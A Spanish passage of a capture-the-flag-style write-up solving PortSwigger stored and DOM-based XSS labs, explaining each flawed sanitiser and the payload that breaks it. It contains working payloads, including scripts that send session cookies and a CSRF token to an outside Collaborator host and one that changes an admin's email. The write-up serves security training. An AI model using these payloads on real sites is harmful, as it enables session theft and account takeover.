vemos que no se interpreta directamente en el navegador como ocurría en otros laboratorios, lo que sugiere que la aplicación está aplicando algún tipo de filtrado o sanitización parcial.

Como podemos ver, la etiqueta </script> del final falta.
Si inspeccionamos el código fuente de la página, vemos el siguiente código en JavaScript:

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

La estructura, nos recuerda un poco al Lab 14, pero en este caso lo que se está haciendo es coger la información de una ruta donde se guardan los comentarios para después procesarlos antes de mostrarlos.

Si analizamos un poco más su comportamiento, vemos que lo que está haciendo es uso de una función replace, para HTML encodear los primeros <> que se encuentre.

El problema está en que no reemplaza todos los <>, sino únicamente los primeros que aparezcan en el contenido.
Esto abre la puerta a que, si insertamos varias etiquetas, solo las primeras queden “neutralizadas”, mientras que las siguientes se interpretan de manera normal.

Podemos comprobar este comportamiento directamente desde la consola del navegador con un ejemplo como este:

Podemos intentar añadir unos <> antes de la etiqueta <script>, de forma que el replace solo encodee esos y no la propia etiqueta.

Si inyectamos:

<><script>alert(0)</script>

Es bastante extraño, pero si inspeccionamos el código fuente, vemos que las etiquetas <script> sí se han introducido, aunque no se interpretan.

Por ello, podemos intentar otro tipo de XSS para que sí se ejecute. Siguiendo la técnica de otros labs, podemos forzar la carga de una imagen errónea para provocar un error:

<><img src=1 onerror=alert(0)>

Ahora sí, al enviar, aparece el alert(0).

Lab 20

XSS almacenado en el evento «onclick» con corchetes angulares y comillas dobles codificados en HTML y comillas simples y barras invertidas escapadas

En este laboratorio, nos encontramos con el mismo panel de comentario que hemos visto en laboratorios anteriores.

Si probamos a introducir algo como:

<script>alert(0)</script>

y luego inspeccionamos el código fuente de la página, vemos que el contenido se HTML encodea, impidiendo que se ejecute directamente el alert.

Si ponemos, por ejemplo, test en todos los campos, observamos lo siguiente:

<a id="author" href="http://test.com" onclick="var tracker={track(){}};tracker.track('http://test.com');">test</a>

Si introducimos, por ejemplo, test", también se HTML encodea.

<a id="author" href="http://test&quot;" onclick="var tracker={track(){}};tracker.track('http://test&quot;');">test</a>

Y, si probamos a escapar el contexto con una comilla simple, se comporta de la siguiente manera:

<a id="author" href="http://test\'" onclick="var tracker={track(){}};tracker.track('http://test\'');">test</a>

Lo siguiente que podemos probar es insertar directamente en el campo de la URL un payload codificado en HTML por nosotros, para evitar que se realice cualquier tratamiento automático y así verificar si podemos conseguir la inyección.

Vamos a probar con esto:

http://xss?&apos;+alert(0)+&apos

Haciendo uso del parámetro, la URL real sería:

http://xss?'+alert(0)+'

Esto se interpreta correctamente, ya que si solo ponemos '', los caracteres son escapados automáticamente.

Al enviar la URL y hacer clic en el enlace, podemos observar cómo aparece el alert.

Lab 22

XSS para robar cookies

En este laboratorio, nos encontramos con el mismo panel de comentario que hemos visto en laboratorios anteriores.

No obstante, en este caso no hay ningún tipo de sanitización implementada, lo que facilita la obtención de la cookie de sesión de manera rápida.

En esta ocasión, se nos solicita utilizar Burp Suite Collaborator junto con un XSS malicioso, de manera que cuando el administrador haga clic en un post, su cookie de sesión sea enviada a nuestro servidor malicioso. Esto nos permitiría suplantar su identidad y convertirnos en administrador.

Podemos insertar el siguiente script en uno de los campos:

<script>
	fetch("https://oogverr83gutrn4x7bzqk03xhonfb8zx.oastify.com?cookie=" + document.cookie);
</script>

Si hacemos clic en Post y luego revisamos nuestro Burp Suite Collaborator, podemos observar lo siguiente:

Hemos recibido una petición HTTP en nuestro servidor en la que, a través de un parámetro, se nos está transmitiendo la cookie de sesión del administrador.

De esta manera, podemos reemplazar nuestra propia cookie por la del administrador y completar el laboratorio con éxito.

Lab 24

XSS para eludir las defensas CSRF

En este laboratorio se nos proporcionan unas credenciales de usuario, ya que nuestro objetivo es robar un token CSRF para poder cambiar el correo del administrador.

Si navegamos al apartado de Mi cuenta, observamos lo siguiente:

Si inspeccionamos el código fuente de la página, podemos observar que, cuando estamos en esta pestaña, existe un campo oculto que contiene un token CSRF. Con esta información, vamos a intentar auditar al administrador.

Una vez más, en este laboratorio nos encontramos con el mismo panel de comentarios que hemos visto en laboratorios anteriores.

Al igual que en Lab 22, ninguno de los campos presenta ningún tipo de sanitización, lo que facilita el proceso. Podemos utilizar Burp Suite Collaborator para intentar que, al hacer clic en el post, el administrador nos envíe su token CSRF a nuestro dominio. Esto se puede lograr mediante un poco de scripting en JavaScript.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4 && xhr.status == 200) {
    var match = xhr.responseText.match(/name="csrf" value="([^"]+)"/);
    if (match) {
      var token = match[1];
      fetch("https://o4td1u9eyu8v2snh3i7433j66xcp0fo4.oastify.com?token=" + encodeURIComponent(token));
    }
  }
};
xhr.open("GET", "/my-account", true);
xhr.send();

Una vez publicado este comentario, si revisamos Burp Suite Collaborator, podemos observar que hemos recibido el token CSRF.

Sin embargo, si intentamos realizar ahora una petición de cambio de correo mediante Burp Suite utilizando este token CSRF, observamos que no funciona, ya que cada vez se genera uno nuevo.

Por lo tanto, será necesario modificar el script para que, de forma directa, se robe el token y se realice la petición de cambio de correo de manera automática.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4 && xhr.status == 200) {
    var match = xhr.responseText.match(/name="csrf" value="([^"]+)"/);
    if (match) {
      var token = match[1];

      // Ahora lanzamos un POST para cambiar el correo del admin
      var params = "email=xss@xss.com&csrf=" + encodeURIComponent(token);

      var xhr2 = new XMLHttpRequest();
      xhr2.open("POST", "/my-account/change-email", true);
      xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      xhr2.send(params);
    }
  }
};
xhr.open("GET", "/my-account", true);
xhr.send();

De esta manera, somos capaces de auditar el token CSRF y completar con éxito el laboratorio.

🌳 XSS Basado en el DOM

El DOM (Document Object Model) es una representación en forma de árbol que los navegadores crean de una página web.

El navegador genera un árbol donde cada etiqueta (<html>, <body>, <p>, etc.) corresponde a un nodo.

Mediante JavaScript, los desarrolladores (y atacantes) pueden acceder y modificar estos nodos utilizando funciones y propiedades como:

  • innerHTML
  • document.write
  • location.search
  • jQuery (selectores y métodos)

A raíz de esto, y en función de qué funciones o propiedades del DOM se estén utilizando por detrás (por ejemplo innerHTML, document.write, location.search, entre otras), es posible que podamos inyectar código malicioso y provocar un XSS.

En este tipo de casos, el ataque no depende tanto de la respuesta directa del servidor, sino de cómo el propio navegador interpreta y ejecuta el código JavaScript que manipula el DOM.

Al igual que en el resto, para explicar este tipo de ataque, iremos resolviendo de forma progresiva todos los laboratorios que estén relacionados con esta técnica.

Lab 3

DOM XSS con document.write utilizando location.search

Antes de hacer este laboratorio, conviene explicar la utilidad de dos elementos clave:

  • document.write: es un método de JavaScript que escribe directamente contenido HTML en el documento. Cualquier string que reciba será interpretado como parte del DOM.
  • location.search: devuelve la parte de la URL que va después del signo ?, incluyendo los parámetros.

Si no se realiza una correcta sanitización del valor de location.search, y este se pasa directamente a document.write, un atacante puede introducir etiquetas arbitrarias.
Por ejemplo, si en la URL introducimos:

?search=<script>alert(0)</script>

y el código hace algo como:

document.write(location.search);

entonces el navegador inyectará directamente la etiqueta <script> dentro del DOM, ejecutando el alert.

Una vez entendido esto, vamos a resolver el lab:

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si inspeccionamos el código fuente de la página, vemos la siguiente función en JavaScript:

<script>
function trackSearch(query) {
	document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
	trackSearch(query);
}
</script>

Como vemos, coge el valor que tenga en ese momento el parámetro searchTerms y lo escribe directamente en la etiqueta <img> modificando así el DOM.

Si nosotros por ejemplo introducimos algo como:

"><svg onload=alert(0)>

lo cual nos permite salir del contexto de la parte del src haciendo uso de "> y después concatenamos con <svg onload=alert(0)>.

Cuando la imagen intente cargarse, el navegador interpretará la inyección y nos aparecerá el pop up del alert, confirmando que el XSS funciona correctamente.

También se puede intentar a hacer con las etiquetas <script></script>, pero como estamos dentro del contexto de una imagen, es preferible usar <svg>.

De esta manera garantizamos que el payload se ejecute correctamente al cargar el elemento, evitando los problemas que tendríamos al intentar inyectar un <script> en un lugar no válido dentro del DOM.

Lab 4

DOM XSS con innerHTML utilizando location.search

Este laboratorio es parecido al Lab 3, solo que en este caso se hace uso de innerHTML.
Esta propiedad, en vez de escribir en el DOM como hacía document.write, lo que hace es modificar directamente elementos del DOM.

Por ello, este lab es muy parecido al anterior en cuanto a técnica y vector de explotación.

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

No obstante, si por ejemplo introducimos etiquetas como <script>alert(0)</script>, vemos que no tiene efecto.
Con esto, y viendo que no observamos nada en el código fuente, podemos suponer que no es vulnerable a XSS.

Pero no obstante, hay más maneras de intentar forzar un alert.

Como sabemos, al hacer una búsqueda correcta, nos suele aparecer una imagen con el blog que coincida con la búsqueda.
Por ello, podemos forzar a cargar una imagen no válida de la siguiente manera:

<img src=0 onerror=alert(0)>

En este caso, se está intentando cargar una imagen de una fuente que es 0, por lo que obviamente va a dar error. A raíz de esto, indicamos que si hay error, se ejecute la función alert.

Lab 5

DOM XSS en el atributo href con jQuery utilizando la fuente location.search

En el caso de este laboratorio, nos encontramos antes un campo de feedback donde se nos pide que vulneremos el botón de back.

Si inspeccionamos el código fuente de la página, vemos lo siguietne:

$(function() {
    $('#backLink').attr(
        "href",
        new URLSearchParams(window.location.search).get('returnPath')
    );
});

Este código se encarga de tomar el valor que haya después del parámetro returnPath en la URL y asignárselo, haciendo uso de jQuery, al botón de Back.

Por ejemplo, si ponemos https://google.com y recargamos la página, debido a la función anterior, location.search toma el valor de ese parámetro y lo asigna al botón de Back.
De hecho, si hacemos hover sobre el botón, podemos ver claramente que apunta a https://google.com.

Con esto, lo que conseguimos es cambiar el comportamiento del botón Back.
Si en su lugar ponemos algo como:

javascript:alert(document.cookie)

al pulsar Back después de recargar la página, nos aparecerá un pop-up mostrando document.cookie.

No obstante, inicialmente no nos aparecía nada, ya que si inspeccionamos las cookies podíamos ver que la opción HttpOnly estaba en true.

Si modificamos esta opción a false y repetimos el mismo proceso, entonces sí podemos ver cómo funciona el payload y nos aparece el pop-up con document.cookie.

Lab 6

DOM XSS en el selector jQuery utilizando un evento hashchange

En este caso, no nos encontramos con ningún panel de búsqueda ni campo de feedback como en otros labs. La web presenta un comportamiento diferente.

Si inspeccionamos el código fuente de la página, podemos observar lo siguiente:

$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');

if (post) post.get(0).scrollIntoView();
});

Aquí lo que ocurre es que si usamos el selector # seguido del nombre de un post, por ejemplo #Grandma's on the net, al cargar la URL nos desplazará directamente a ese post.
No obstante, para que esto funcione, necesitamos recargar la URL.

Podemos intentar insertar alguna etiqueta HTML en este campo, ya que lo que realmente busca son etiquetas <h2>, por lo que podemos intuir que interpreta HTML.

Si probamos con:

<script>alert(0);</script>

no sucede nada debido a algún tipo de sanitización.

Sin embargo, si utilizamos:

<img src=0 onerror=alert(0);>

vemos que el navegador ejecuta el payload y se dispara el alert.

Por lo tanto, podemos confirmar que se pueden realizar inyecciones XSS.

No obstante, como se mencionó anteriormente, para que esto ocurra es necesario que la página se recargue.
Para facilitar esto, PortSwigger nos proporciona un servidor malicioso donde podemos generar un enlace malicioso y compartirlo con la víctima, obligándola a ejecutar los comandos que deseemos.

Si hacemos uso de un iframe, por ejemplo:

<iframe src="https://0af700e904719f8080c526b6009e001e.web-security-academy.net/#" width="100%" height="1200"></iframe>

y le damos a Ver Exploit, podemos ver exactamente la página web dentro del iframe, ya que este nos permite mostrar una página HTML dentro de otra página HTML.

A raíz de esto, podemos inyectar un payload malicioso en la parte del <body> para cargar la página real con el iframe, de manera que no levante sospechas y podamos forzar un cambio en la URL que provoque la inyección XSS:

<iframe src="https://0af700e904719f8080c526b6009e001e.web-security-academy.net/#" width="100%" height="1200" onload="this.src+= '<img src=1 onerror=print()>'"></iframe>

Y así, completamos el laboratorio.

Lab 10

DOM XSS con document.write utilizando la fuente location.search dentro de un elemento select

En este caso, tenemos el siguiente campo vulnerable.

Un selector donde, en función del país que selecciones, se muestra una respuesta u otra.

Si inspeccionamos el código fuente de la página, podemos observar lo siguiente:

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
  document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) {
      continue;
    }
    document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

Podemos observar que hay una función que toma el valor de un parámetro storeId y lo escribe en la página.

Si pasamos la petición por Burp Suite, obtenemos lo siguiente:

Si probamos a cambiar London por una tienda que no existe, por ejemplo test, observamos lo siguiente:

Como podemos ver, se ha añadido test como si fuese una tienda más.
Si inspeccionamos el código fuente, no encontramos nada relevante, por lo que debemos usar un poco de imaginación.

Podemos suponer que, por detrás, la estructura HTML que controla esto tiene un aspecto similar al siguiente:

<select id="city-select">
  <option value="test">test</option>
  <option value="london">Londres</option>
  <option value="paris">París</option>
  <option value="milan">Milán</option>
</select>

Por lo tanto, podemos intentar salir del contexto del <select> y modificar el DOM.

Por ejemplo, si introducimos el siguiente payload:

test</option></select><script>alert(0)</script><select>

esto provocaría que, por detrás, el HTML se reestructure de la siguiente manera:

<select id="city-select">
  <option value="test">test</option>
</select>
<script>alert(0)</script>
<select>
  <option value="london">Londres</option>
  <option value="paris">París</option>
  <option value="milan">Milán</option>
</select>

Al darle a enviar, vemos que se ejecuta el alert, confirmando que nuestra intuición era correcta.

Lab 11

DOM XSS en expresiones AngularJS con corchetes angulares y comillas dobles codificadas en HTML

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

No obstante, da igual lo que escribamos, que no vamos a ver nada en el código fuente. No aparece ningún archivo JavaScript ni nada que nos indique el uso de innerHTML, document.write o jQuery.

Sin embargo, sí podemos observar que la etiqueta <body ng-app> engloba casi todo el documento. Además, si usamos extensiones como Wappalyzer, vemos que la aplicación está utilizando AngularJS en la versión 1.7.7.

Ante este tipo de escenarios, podemos recurrir a PayloadsAllTheThings para buscar vectores de ataque específicos. En este caso encontramos un payload que puede funcionar: constructor.constructor('alert(0)')()

Si lo introducimos en el campo de búsqueda y damos a search, veremos que se ejecuta el alert, confirmando la vulnerabilidad.

El propósito de este laboratorio es entender que, aunque muchas de las pruebas habituales para inyecciones XSS no funcionen, siempre puede darse el caso de que la aplicación esté utilizando tecnologías o frameworks concretos (como AngularJS en este caso).

Esto nos muestra la importancia de considerar escenarios más específicos, ya que mirar únicamente los vectores clásicos puede hacer que pasemos por alto vulnerabilidades críticas.


Copyright © 2025 Mario Ramos. Distribuido bajo Licencia MIT.